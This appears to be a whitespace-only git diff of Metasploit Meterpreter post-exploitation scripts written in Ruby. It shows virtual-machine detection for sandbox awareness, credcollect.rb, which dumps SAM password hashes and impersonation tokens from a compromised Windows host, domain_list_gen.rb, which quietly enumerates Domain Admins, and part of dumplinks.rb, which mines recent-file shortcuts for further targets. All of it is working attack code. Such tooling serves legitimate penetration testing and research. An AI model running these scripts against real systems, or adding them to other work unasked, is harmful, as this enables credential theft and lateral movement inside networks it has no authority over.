+ begin + vm = false + key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft', KEY_READ) + sfmsvals = key.enum_key + if sfmsvals.include?("Hyper-V") + print_status("This is a Hyper-V Virtual Machine") + vm = true + elsif sfmsvals.include?("VirtualMachine") + print_status("This is a Hyper-V Virtual Machine") + vm = true + end + key.close + rescue + end - if not vm - begin - key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SYSTEM\ControlSet001\Services', KEY_READ) - srvvals = key.enum_key - if srvvals.include?("vmicheartbeat") - print_status("This is a Hyper-V Virtual Machine") - vm = true - elsif srvvals.include?("vmicvss") - print_status("This is a Hyper-V Virtual Machine") - vm = true - elsif srvvals.include?("vmicshutdown") - print_status("This is a Hyper-V Virtual Machine") - vm = true - elsif srvvals.include?("vmicexchange") - print_status("This is a Hyper-V Virtual Machine") - vm = true - end - rescue - end - end - return vm + if not vm + begin + key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SYSTEM\ControlSet001\Services', KEY_READ) + srvvals = key.enum_key + if srvvals.include?("vmicheartbeat") + print_status("This is a Hyper-V Virtual Machine") + vm = true + elsif srvvals.include?("vmicvss") + print_status("This is a Hyper-V Virtual Machine") + vm = true + elsif srvvals.include?("vmicshutdown") + print_status("This is a Hyper-V Virtual Machine") + vm = true + elsif srvvals.include?("vmicexchange") + print_status("This is a Hyper-V Virtual Machine") + vm = true + end + rescue + end + end + return vm end # Function for checking if it is a VMware VM def vmwarechk(session) - vm = false - begin - key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SYSTEM\ControlSet001\Services', KEY_READ) - srvvals = key.enum_key - if srvvals.include?("vmdebug") - print_status("This is a VMware Virtual Machine") - vm = true - elsif srvvals.include?("vmmouse") - print_status("This is a VMware Virtual Machine") - vm = true - elsif srvvals.include?("VMTools") - print_status("This is a VMware Virtual Machine") - vm = true - elsif srvvals.include?("VMMEMCTL") - print_status("This is a VMware Virtual Machine") - vm = true - end - key.close - rescue - end - if not vm - begin - key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0') - if key.query_value('Identifier').data.downcase =~ /vmware/ - print_status("This is a VMware Virtual Machine") - vm = true - end - rescue - end - end - if not vm - vmwareprocs = [ - "vmwareuser.exe", - "vmwaretray.exe" - ] - vmwareprocs.each do |p| - session.sys.process.get_processes().each do |x| - if p == (x['name'].downcase) - print_status("This is a VMware Virtual Machine") if not vm - vm = true - end - end - end - end - key.close - return vm + vm = false + begin + key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SYSTEM\ControlSet001\Services', KEY_READ) + srvvals = key.enum_key + if srvvals.include?("vmdebug") + print_status("This is a VMware Virtual Machine") + vm = true + elsif srvvals.include?("vmmouse") + print_status("This is a VMware Virtual Machine") + vm = true + elsif srvvals.include?("VMTools") + print_status("This is a VMware Virtual Machine") + vm = true + elsif srvvals.include?("VMMEMCTL") + print_status("This is a VMware Virtual Machine") + vm = true + end + key.close + rescue + end + if not vm + begin + key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0') + if key.query_value('Identifier').data.downcase =~ /vmware/ + print_status("This is a VMware Virtual Machine") + vm = true + end + rescue + end + end + if not vm + vmwareprocs = [ + "vmwareuser.exe", + "vmwaretray.exe" + ] + vmwareprocs.each do |p| + session.sys.process.get_processes().each do |x| + if p == (x['name'].downcase) + print_status("This is a VMware Virtual Machine") if not vm + vm = true + end + end + end + end + key.close + return vm end # Function for checking if it is a Virtual PC VM def checkvrtlpc(session) - vm = false - vpcprocs = [ - "vmusrvc.exe", - "vmsrvc.exe" - ] - vpcprocs.each do |p| - session.sys.process.get_processes().each do |x| - if p == (x['name'].downcase) - print_status("This is a VirtualPC Virtual Machine") if not vm - vm = true - end - end - end - if not vm - begin - key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SYSTEM\ControlSet001\Services', KEY_READ) - srvvals = key.enum_key - if srvvals.include?("vpcbus") - print_status("This is a VirtualPC Virtual Machine") - vm = true - elsif srvvals.include?("vpc-s3") - print_status("This is a VirtualPC Virtual Machine") - vm = true - elsif srvvals.include?("vpcuhub") - print_status("This is a VirtualPC Virtual Machine") - vm = true - elsif srvvals.include?("msvmmouf") - print_status("This is a VirtualPC Virtual Machine") - vm = true - end - key.close - rescue - end - end - return vm + vm = false + vpcprocs = [ + "vmusrvc.exe", + "vmsrvc.exe" + ] + vpcprocs.each do |p| + session.sys.process.get_processes().each do |x| + if p == (x['name'].downcase) + print_status("This is a VirtualPC Virtual Machine") if not vm + vm = true + end + end + end + if not vm + begin + key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SYSTEM\ControlSet001\Services', KEY_READ) + srvvals = key.enum_key + if srvvals.include?("vpcbus") + print_status("This is a VirtualPC Virtual Machine") + vm = true + elsif srvvals.include?("vpc-s3") + print_status("This is a VirtualPC Virtual Machine") + vm = true + elsif srvvals.include?("vpcuhub") + print_status("This is a VirtualPC Virtual Machine") + vm = true + elsif srvvals.include?("msvmmouf") + print_status("This is a VirtualPC Virtual Machine") + vm = true + end + key.close + rescue + end + end + return vm end def vboxchk(session) - vm = false - vboxprocs = [ - "vboxservice.exe", - "vboxtray.exe" - ] - vboxprocs.each do |p| - session.sys.process.get_processes().each do |x| - if p == (x['name'].downcase) - print_status("This is a Sun VirtualBox Virtual Machine") if not vm - vm = true - end - end - end - if not vm - begin - key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\ACPI\DSDT', KEY_READ) - srvvals = key.enum_key - if srvvals.include?("VBOX__") - print_status("This is a Sun VirtualBox Virtual Machine") - vm = true - end - rescue - end - end - if not vm - begin - key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\ACPI\FADT', KEY_READ) - srvvals = key.enum_key - if srvvals.include?("VBOX__") - print_status("This is a Sun VirtualBox Virtual Machine") - vm = true - end - rescue - end - end - if not vm - begin - key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\ACPI\RSDT', KEY_READ) - srvvals = key.enum_key - if srvvals.include?("VBOX__") - print_status("This is a Sun VirtualBox Virtual Machine") - vm = true - end - rescue - end - end - if not vm - begin - key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0') - if key.query_value('Identifier').data.downcase =~ /vbox/ - print_status("This is a Sun VirtualBox Virtual Machine") - vm = true - end - rescue - end - end - if not vm - begin - key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\DESCRIPTION\System') - if key.query_value('SystemBiosVersion').data.downcase =~ /vbox/ - print_status("This is a Sun VirtualBox Virtual Machine") - vm = true - end - rescue - end - end - if not vm - begin - key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SYSTEM\ControlSet001\Services', KEY_READ) - srvvals = key.enum_key - if srvvals.include?("VBoxMouse") - print_status("This is a Sun VirtualBox Virtual Machine") - vm = true - elsif srvvals.include?("VBoxGuest") - print_status("This is a Sun VirtualBox Virtual Machine") - vm = true - elsif srvvals.include?("VBoxService") - print_status("This is a Sun VirtualBox Virtual Machine") - vm = true - elsif srvvals.include?("VBoxSF") - print_status("This is a Sun VirtualBox Virtual Machine") - vm = true - end - key.close - rescue - end - end - return vm + vm = false + vboxprocs = [ + "vboxservice.exe", + "vboxtray.exe" + ] + vboxprocs.each do |p| + session.sys.process.get_processes().each do |x| + if p == (x['name'].downcase) + print_status("This is a Sun VirtualBox Virtual Machine") if not vm + vm = true + end + end + end + if not vm + begin + key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\ACPI\DSDT', KEY_READ) + srvvals = key.enum_key + if srvvals.include?("VBOX__") + print_status("This is a Sun VirtualBox Virtual Machine") + vm = true + end + rescue + end + end + if not vm + begin + key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\ACPI\FADT', KEY_READ) + srvvals = key.enum_key + if srvvals.include?("VBOX__") + print_status("This is a Sun VirtualBox Virtual Machine") + vm = true + end + rescue + end + end + if not vm + begin + key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\ACPI\RSDT', KEY_READ) + srvvals = key.enum_key + if srvvals.include?("VBOX__") + print_status("This is a Sun VirtualBox Virtual Machine") + vm = true + end + rescue + end + end + if not vm + begin + key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0') + if key.query_value('Identifier').data.downcase =~ /vbox/ + print_status("This is a Sun VirtualBox Virtual Machine") + vm = true + end + rescue + end + end + if not vm + begin + key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\DESCRIPTION\System') + if key.query_value('SystemBiosVersion').data.downcase =~ /vbox/ + print_status("This is a Sun VirtualBox Virtual Machine") + vm = true + end + rescue + end + end + if not vm + begin + key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SYSTEM\ControlSet001\Services', KEY_READ) + srvvals = key.enum_key + if srvvals.include?("VBoxMouse") + print_status("This is a Sun VirtualBox Virtual Machine") + vm = true + elsif srvvals.include?("VBoxGuest") + print_status("This is a Sun VirtualBox Virtual Machine") + vm = true + elsif srvvals.include?("VBoxService") + print_status("This is a Sun VirtualBox Virtual Machine") + vm = true + elsif srvvals.include?("VBoxSF") + print_status("This is a Sun VirtualBox Virtual Machine") + vm = true + end + key.close + rescue + end + end + return vm end def xenchk(session) - vm = false - xenprocs = [ - "xenservice.exe" - ] - xenprocs.each do |p| - session.sys.process.get_processes().each do |x| - if p == (x['name'].downcase) - print_status("This is a Xen Virtual Machine") if not vm - vm = true - end - end - end - if not vm - begin - key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\ACPI\DSDT', KEY_READ) - srvvals = key.enum_key - if srvvals.include?("Xen") - print_status("This is a Xen Virtual Machine") - vm = true - end - rescue - end - end - if not vm - begin - key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\ACPI\FADT', KEY_READ) - srvvals = key.enum_key - if srvvals.include?("Xen") - print_status("This is a Xen Virtual Machine") - vm = true - end - rescue - end - end - if not vm - begin - key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\ACPI\RSDT', KEY_READ) - srvvals = key.enum_key - if srvvals.include?("Xen") - print_status("This is a Xen Virtual Machine") - vm = true - end - rescue - end - end - if not vm - begin - key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SYSTEM\ControlSet001\Services', KEY_READ) - srvvals = key.enum_key - if srvvals.include?("xenevtchn") - print_status("This is a Xen Virtual Machine") - vm = true - elsif srvvals.include?("xennet") - print_status("This is a Xen Virtual Machine") - vm = true - elsif srvvals.include?("xennet6") - print_status("This is a Xen Virtual Machine") - vm = true - elsif srvvals.include?("xensvc") - print_status("This is a Xen Virtual Machine") - vm = true - elsif srvvals.include?("xenvdb") - print_status("This is a Xen Virtual Machine") - vm = true - end - key.close - rescue - end - end - return vm + vm = false + xenprocs = [ + "xenservice.exe" + ] + xenprocs.each do |p| + session.sys.process.get_processes().each do |x| + if p == (x['name'].downcase) + print_status("This is a Xen Virtual Machine") if not vm + vm = true + end + end + end + if not vm + begin + key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\ACPI\DSDT', KEY_READ) + srvvals = key.enum_key + if srvvals.include?("Xen") + print_status("This is a Xen Virtual Machine") + vm = true + end + rescue + end + end + if not vm + begin + key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\ACPI\FADT', KEY_READ) + srvvals = key.enum_key + if srvvals.include?("Xen") + print_status("This is a Xen Virtual Machine") + vm = true + end + rescue + end + end + if not vm + begin + key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\ACPI\RSDT', KEY_READ) + srvvals = key.enum_key + if srvvals.include?("Xen") + print_status("This is a Xen Virtual Machine") + vm = true + end + rescue + end + end + if not vm + begin + key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SYSTEM\ControlSet001\Services', KEY_READ) + srvvals = key.enum_key + if srvvals.include?("xenevtchn") + print_status("This is a Xen Virtual Machine") + vm = true + elsif srvvals.include?("xennet") + print_status("This is a Xen Virtual Machine") + vm = true + elsif srvvals.include?("xennet6") + print_status("This is a Xen Virtual Machine") + vm = true + elsif srvvals.include?("xensvc") + print_status("This is a Xen Virtual Machine") + vm = true + elsif srvvals.include?("xenvdb") + print_status("This is a Xen Virtual Machine") + vm = true + end + key.close + rescue + end + end + return vm end def qemuchk(session) - vm = false - if not vm - begin - key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0') - if key.query_value('Identifier').data.downcase =~ /qemu/ - print_status("This is a QEMU/KVM Virtual Machine") - vm = true - end - rescue - end - end - if not vm - begin - key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\DESCRIPTION\System\CentralProcessor\0') - if key.query_value('ProcessorNameString').data.downcase =~ /qemu/ - print_status("This is a QEMU/KVM Virtual Machine") - vm = true - end - rescue - end - end + vm = false + if not vm + begin + key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0') + if key.query_value('Identifier').data.downcase =~ /qemu/ + print_status("This is a QEMU/KVM Virtual Machine") + vm = true + end + rescue + end + end + if not vm + begin + key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\DESCRIPTION\System\CentralProcessor\0') + if key.query_value('ProcessorNameString').data.downcase =~ /qemu/ + print_status("This is a QEMU/KVM Virtual Machine") + vm = true + end + rescue + end + end - return vm + return vm end if client.platform =~ /win32|win64/ - print_status("Checking if target is a Virtual Machine .....") - found = hypervchk(session) - found = vmwarechk(session) if not found - found = checkvrtlpc(session) if not found - found = vboxchk(session) if not found - found = xenchk(session) if not found - found = qemuchk(session) if not found - print_status("It appears to be physical host.") if not found + print_status("Checking if target is a Virtual Machine .....") + found = hypervchk(session) + found = vmwarechk(session) if not found + found = checkvrtlpc(session) if not found + found = vboxchk(session) if not found + found = xenchk(session) if not found + found = qemuchk(session) if not found + print_status("It appears to be physical host.") if not found else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end diff --git a/scripts/meterpreter/credcollect.rb b/scripts/meterpreter/credcollect.rb index 4ba4dd1a7b..001172e7c2 100644 --- a/scripts/meterpreter/credcollect.rb +++ b/scripts/meterpreter/credcollect.rb @@ -1,78 +1,78 @@ # credcollect - tebo[at]attackresearch.com opts = Rex::Parser::Arguments.new( - "-h" => [ false,"Help menu." ], - "-p" => [ true,"The SMB port used to associate credentials."] + "-h" => [ false,"Help menu." ], + "-p" => [ true,"The SMB port used to associate credentials."] ) smb_port = 445 opts.parse(args) { |opt, idx, val| - case opt - when "-h" - print_line("CredCollect -- harvest credentials found on the host and store them in the database") - print_line("USAGE: run credcollect") - print_line(opts.usage) - raise Rex::Script::Completed - when "-p" # This ought to read from the exploit's datastore. - smb_port = val.to_i - end + case opt + when "-h" + print_line("CredCollect -- harvest credentials found on the host and store them in the database") + print_line("USAGE: run credcollect") + print_line(opts.usage) + raise Rex::Script::Completed + when "-p" # This ought to read from the exploit's datastore. + smb_port = val.to_i + end } if client.platform =~ /win32|win64/ - # Collect even without a database to store them. - if client.framework.db.active - db_ok = true - else - db_ok = false - end + # Collect even without a database to store them. + if client.framework.db.active + db_ok = true + else + db_ok = false + end - # Make sure we're rockin Priv and Incognito - client.core.use("priv") if not client.respond_to?("priv") - client.core.use("incognito") if not client.respond_to?("incognito") + # Make sure we're rockin Priv and Incognito + client.core.use("priv") if not client.respond_to?("priv") + client.core.use("incognito") if not client.respond_to?("incognito") - # It wasn't me mom! Stinko did it! - hashes = client.priv.sam_hashes + # It wasn't me mom! Stinko did it! + hashes = client.priv.sam_hashes - # Target infos for the db record - addr = client.sock.peerhost - # client.framework.db.report_host(:host => addr, :state => Msf::HostState::Alive) + # Target infos for the db record + addr = client.sock.peerhost + # client.framework.db.report_host(:host => addr, :state => Msf::HostState::Alive) - # Record hashes to the running db instance - print_good "Collecting hashes..." - hashes.each do |hash| - data = {} - data[:host] = addr - data[:port] = smb_port - data[:sname] = 'smb' - data[:user] = hash.user_name - data[:pass] = hash.lanman + ":" + hash.ntlm - data[:type] = "smb_hash" - data[:active] = true + # Record hashes to the running db instance + print_good "Collecting hashes..." + hashes.each do |hash| + data = {} + data[:host] = addr + data[:port] = smb_port + data[:sname] = 'smb' + data[:user] = hash.user_name + data[:pass] = hash.lanman + ":" + hash.ntlm + data[:type] = "smb_hash" + data[:active] = true - print_line " Extracted: #{data[:user]}:#{data[:pass]}" - client.framework.db.report_auth_info(data) if db_ok - end + print_line " Extracted: #{data[:user]}:#{data[:pass]}" + client.framework.db.report_auth_info(data) if db_ok + end - # Record user tokens - tokens = client.incognito.incognito_list_tokens(0) - raise Rex::Script::Completed if not tokens + # Record user tokens + tokens = client.incognito.incognito_list_tokens(0) + raise Rex::Script::Completed if not tokens - # Meh, tokens come to us as a formatted string - print_good "Collecting tokens..." - (tokens["delegation"] + tokens["impersonation"]).split("\n").each do |token| - data = {} - data[:host] = addr - data[:type] = 'smb_token' - data[:data] = token - data[:update] = :unique_data + # Meh, tokens come to us as a formatted string + print_good "Collecting tokens..." + (tokens["delegation"] + tokens["impersonation"]).split("\n").each do |token| + data = {} + data[:host] = addr + data[:type] = 'smb_token' + data[:data] = token + data[:update] = :unique_data - print_line " #{data[:data]}" - client.framework.db.report_note(data) if db_ok - end - raise Rex::Script::Completed + print_line " #{data[:data]}" + client.framework.db.report_note(data) if db_ok + end + raise Rex::Script::Completed else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end diff --git a/scripts/meterpreter/domain_list_gen.rb b/scripts/meterpreter/domain_list_gen.rb index 3621d02d05..df51c47eb2 100644 --- a/scripts/meterpreter/domain_list_gen.rb +++ b/scripts/meterpreter/domain_list_gen.rb @@ -2,23 +2,23 @@ #------------------------------------------------------------------------------- #Options and Option Parsing opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ] + "-h" => [ false, "Help menu." ] ) opts.parse(args) { |opt, idx, val| - case opt - when "-h" - print_line "Meterpreter Script for extracting Doamin Admin Account list for use." - print_line "in token_hunter plugin and verifies if current account for session is" - print_line "is a member of such group." - print_line(opts.usage) - raise Rex::Script::Completed - end + case opt + when "-h" + print_line "Meterpreter Script for extracting Doamin Admin Account list for use." + print_line "in token_hunter plugin and verifies if current account for session is" + print_line "is a member of such group." + print_line(opts.usage) + raise Rex::Script::Completed + end } def unsupported - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end #------------------------------------------------------------------------------- #Set General Variables used in the script @@ -30,20 +30,20 @@ host = @client.sys.config.sysinfo['Computer'] current_user = @client.sys.config.getuid.scan(/\S*\\(.*)/) def reg_getvaldata(key,valname) - value = nil - begin - root_key, base_key = @client.sys.registry.splitkey(key) - open_key = @client.sys.registry.open_key(root_key, base_key, KEY_READ) - v = open_key.query_value(valname) - value = v.data - open_key.close - end - return value + value = nil + begin + root_key, base_key = @client.sys.registry.splitkey(key) + open_key = @client.sys.registry.open_key(root_key, base_key, KEY_READ) + v = open_key.query_value(valname) + value = v.data + open_key.close + end + return value end domain = reg_getvaldata("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon","DefaultDomainName") if domain == "" - print_error("domain not found") + print_error("domain not found") end # Create Filename info to be appended to downloaded files @@ -64,12 +64,12 @@ print_status("found users will be saved to #{dest}") cmd = 'net groups "Domain Admins" /domain' r = @client.sys.process.execute(cmd, nil, {'Hidden' => true, 'Channelized' => true}) while(d = r.channel.read) - users << d - if d=~/System error/ - print_error("Could not enumerate Domain Admins!") - raise Rex::Script::Completed - end - break if d == "" + users << d + if d=~/System error/ + print_error("Could not enumerate Domain Admins!") + raise Rex::Script::Completed + end + break if d == "" end #split output in to lines out_lines = users.split("\n") @@ -79,20 +79,20 @@ domadmins = out_lines.slice(6,a_size) #get only the usernames out of those lines domainadmin_user_list = [] domadmins.each do |d| - d.split(" ").compact.each do |s| - domainadmin_user_list << s.strip if s.strip != "" and not s =~ /----/ - end + d.split(" ").compact.each do |s| + domainadmin_user_list << s.strip if s.strip != "" and not s =~ /----/ + end end #process accounts found print_status("Accounts Found:") domainadmin_user_list.each do |u| - print_status("\t#{domain}\\#{u}") - file_local_write(dest, "#{domain}\\#{u}") - list << u.downcase + print_status("\t#{domain}\\#{u}") + file_local_write(dest, "#{domain}\\#{u}") + list << u.downcase end if list.index(current_user.join.chomp.downcase) - print_status("Current sessions running as #{domain}\\#{current_user.join.chomp} is a Domain Admin!!") + print_status("Current sessions running as #{domain}\\#{current_user.join.chomp} is a Domain Admin!!") else - print_error("Current session running as #{domain}\\#{current_user.join.chomp} is not running as Domain Admin") + print_error("Current session running as #{domain}\\#{current_user.join.chomp} is not running as Domain Admin") end diff --git a/scripts/meterpreter/dumplinks.rb b/scripts/meterpreter/dumplinks.rb index 58ba559caf..444aa18439 100644 --- a/scripts/meterpreter/dumplinks.rb +++ b/scripts/meterpreter/dumplinks.rb @@ -2,37 +2,37 @@ #------------------------------------------------------------------------------- opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ], - "-e" => [ false, "Dump everything for each link file." ], - "-w" => [ false, "Redirect output to file."] + "-h" => [ false, "Help menu." ], + "-e" => [ false, "Dump everything for each link file." ], + "-w" => [ false, "Redirect output to file."] ) @everything, @output_dir, @data_out = nil opts.parse(args) { |opt, idx, val| - case opt - when '-e' - @everything = true - when '-w' - @output_dir = ::File.join(Msf::Config.log_directory,'scripts', 'dumplinks') - when "-h" - print_line "dumplinks -- parse .lnk files from user's Recent Documents" - print_line - print_line "dumplinks is a modified port of Harlan Carvey's lslnk.pl Perl script." - print_line "dumplinks parses .lnk files from a user's Recent documents folder and" - print_line "Microsoft Office's Recent documents folder, if present. Windows creates" - print_line "these link files automatically for many common file types." - print_line - print_line "\tResults are saved to #{::File.join(Msf::Config.log_directory, 'dumplinks')} if -w is used." - print_line - print_line "The .lnk files contain time stamps, file locations, including share" - print_line "names, volume serial #s and more. This info may help you target" - print_line "additional systems." - print_line - print_line "By default, dumplinks only returns the destination for the shortcut." - print_line "See the available arguments for other options." - print_line (opts.usage) - raise Rex::Script::Completed - end + case opt + when '-e' + @everything = true + when '-w' + @output_dir = ::File.join(Msf::Config.log_directory,'scripts', 'dumplinks') + when "-h" + print_line "dumplinks -- parse .lnk files from user's Recent Documents" + print_line + print_line "dumplinks is a modified port of Harlan Carvey's lslnk.pl Perl script." + print_line "dumplinks parses .lnk files from a user's Recent documents folder and" + print_line "Microsoft Office's Recent documents folder, if present. Windows creates" + print_line "these link files automatically for many common file types." + print_line + print_line "\tResults are saved to #{::File.join(Msf::Config.log_directory, 'dumplinks')} if -w is used." + print_line + print_line "The .lnk files contain time stamps, file locations, including share" + print_line "names, volume serial #s and more. This info may help you target" + print_line "additional systems." + print_line + print_line "By default, dumplinks only returns the destination for the shortcut." + print_line "See the available arguments for other options." + print_line (opts.usage) + raise Rex::Script::Completed + end } # ---------------------------------------------------------------- @@ -42,341 +42,341 @@ info = @client.sys.config.sysinfo os = @client.sys.config.sysinfo['OS'] if @output_dir - # Create filename info to be appended to downloaded files - filenameinfo = "_" + ::Time.now.strftime("%Y%m%d") + # Create filename info to be appended to downloaded files + filenameinfo = "_" + ::Time.now.strftime("%Y%m%d") - # Create a directory for the output - @logs = ::File.join(@output_dir, Rex::FileUtils.clean_path(info['Computer'] + filenameinfo)) + # Create a directory for the output + @logs = ::File.join(@output_dir, Rex::FileUtils.clean_path(info['Computer'] + filenameinfo)) - # Create output directory - ::FileUtils.mkdir_p(@logs) + # Create output directory + ::FileUtils.mkdir_p(@logs) end # --------------------------------------------------------------- # Function for enumerating users if running as SYSTEM # Borrowed from get_pidgin_creds def enum_users(os) - users = [] - userinfo = {} - user = @client.sys.config.getuid - userpath = nil - useroffcpath = nil - sysdrv = @client.fs.file.expand_path("%SystemDrive%") - if os =~ /Windows 7|Vista|2008/ - userpath = sysdrv + "\\Users\\" - lnkpath = "\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" - officelnkpath = "\\AppData\\Roaming\\Microsoft\\Office\\Recent\\" - else - userpath = sysdrv + "\\Documents and Settings\\" - lnkpath = "\\Recent\\" - officelnkpath = "\\Application Data\\Microsoft\\Office\\Recent\\" - end - if user == "NT AUTHORITY\\SYSTEM" - print_status("Running as SYSTEM extracting user list...") - @client.fs.dir.foreach(userpath) do |u| - next if u =~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini)$/ - userinfo['username'] = u - userinfo['userpath'] = userpath + u + lnkpath - userinfo['useroffcpath'] = userpath + u + officelnkpath - userinfo['userpath'] = dir_entry_exists(userinfo['userpath']) - userinfo['useroffcpath'] = dir_entry_exists(userinfo['useroffcpath']) - users << userinfo - end - else - uservar = @client.fs.file.expand_path("%USERNAME%") - userinfo['username'] = uservar - userinfo['userpath'] = userpath + uservar + lnkpath - userinfo['useroffcpath'] = userpath + uservar + officelnkpath - userinfo['userpath'] = dir_entry_exists(userinfo['userpath']) - userinfo['useroffcpath'] = dir_entry_exists(userinfo['useroffcpath']) - users << userinfo - end - return users + users = [] + userinfo = {} + user = @client.sys.config.getuid + userpath = nil + useroffcpath = nil + sysdrv = @client.fs.file.expand_path("%SystemDrive%") + if os =~ /Windows 7|Vista|2008/ + userpath = sysdrv + "\\Users\\" + lnkpath = "\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" + officelnkpath = "\\AppData\\Roaming\\Microsoft\\Office\\Recent\\" + else + userpath = sysdrv + "\\Documents and Settings\\" + lnkpath = "\\Recent\\" + officelnkpath = "\\Application Data\\Microsoft\\Office\\Recent\\" + end + if user == "NT AUTHORITY\\SYSTEM" + print_status("Running as SYSTEM extracting user list...") + @client.fs.dir.foreach(userpath) do |u| + next if u =~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini)$/ + userinfo['username'] = u + userinfo['userpath'] = userpath + u + lnkpath + userinfo['useroffcpath'] = userpath + u + officelnkpath + userinfo['userpath'] = dir_entry_exists(userinfo['userpath']) + userinfo['useroffcpath'] = dir_entry_exists(userinfo['useroffcpath']) + users << userinfo + end + else + uservar = @client.fs.file.expand_path("%USERNAME%") + userinfo['username'] = uservar + userinfo['userpath'] = userpath + uservar + lnkpath + userinfo['useroffcpath'] = userpath + uservar + officelnkpath + userinfo['userpath'] = dir_entry_exists(userinfo['userpath']) + userinfo['useroffcpath'] = dir_entry_exists(userinfo['useroffcpath']) + users << userinfo + end + return users end # This is a hack because Meterpreter doesn't support exists?(file) def dir_entry_exists(path) - files = @client.fs.dir.entries(path) + files = @client.fs.dir.entries(path) rescue - return nil + return nil else - return path + return path end def extract_lnk_info(path) - @client.fs.dir.foreach(path) do |file_name| - if file_name =~ /\.lnk$/ # We have a .lnk file - record = nil - offset = 0 # ToDo: Look at moving this to smaller scope - lnk_file = @client.fs.file.new(path + file_name, "rb") - record = lnk_file.sysread(0x04) - if record.unpack('V')[0] == 76 # We have a .lnk file signature - file_stat = @client.fs.filestat.new(path + file_name) - print_status "Processing: #{path + file_name}." - @data_out = "" + @client.fs.dir.foreach(path) do |file_name| + if file_name =~ /\.lnk$/ # We have a .lnk file + record = nil + offset = 0 # ToDo: Look at moving this to smaller scope + lnk_file = @client.fs.file.new(path + file_name, "rb") + record = lnk_file.sysread(0x04) + if record.unpack('V')[0] == 76 # We have a .lnk file signature + file_stat = @client.fs.filestat.new(path + file_name) + print_status "Processing: #{path + file_name}." + @data_out = "" - record = lnk_file.sysread(0x48) - hdr = get_headers(record) + record = lnk_file.sysread(0x48) + hdr = get_headers(record) - if @everything - @data_out += get_lnk_file_MAC(file_stat, path, file_name) - @data_out += "Contents of #{path + file_name}:\n" - @data_out += get_flags(hdr) - @data_out += get_attrs(hdr) - @data_out += get_lnk_MAC(hdr) - @data_out += get_showwnd(hdr) - @data_out += get_lnk_MAC(hdr) - end - if shell_item_id_list(hdr) - # advance the file & offset - offset += 0x4c - lnk_file.sysseek(offset, ::IO::SEEK_SET) - record = lnk_file.sysread(2) - offset += record.unpack('v')[0] + 2 - end - # Get File Location Info - if (hdr["flags"] & 0x02) > 0 - lnk_file.sysseek(offset, ::IO::SEEK_SET) - record = lnk_file.sysread(4) - tmp = record.unpack('V')[0] - if tmp > 0 - lnk_file.sysseek(offset, ::IO::SEEK_SET) - record = lnk_file.sysread(0x1c) - loc = get_file_location(record) - if (loc['flags'] & 0x01) > 0 - if @everything - @data_out += "\tShortcut file is on a local volume.\n" - end - lnk_file.sysseek(offset + loc['vol_ofs'], ::IO::SEEK_SET) - record = lnk_file.sysread(0x10) - lvt = get_local_vol_tbl(record) - lvt['name'] = lnk_file.sysread(lvt['len'] - 0x10) - if @everything - @data_out += "\t\tVolume Name = #{lvt['name']}\n" 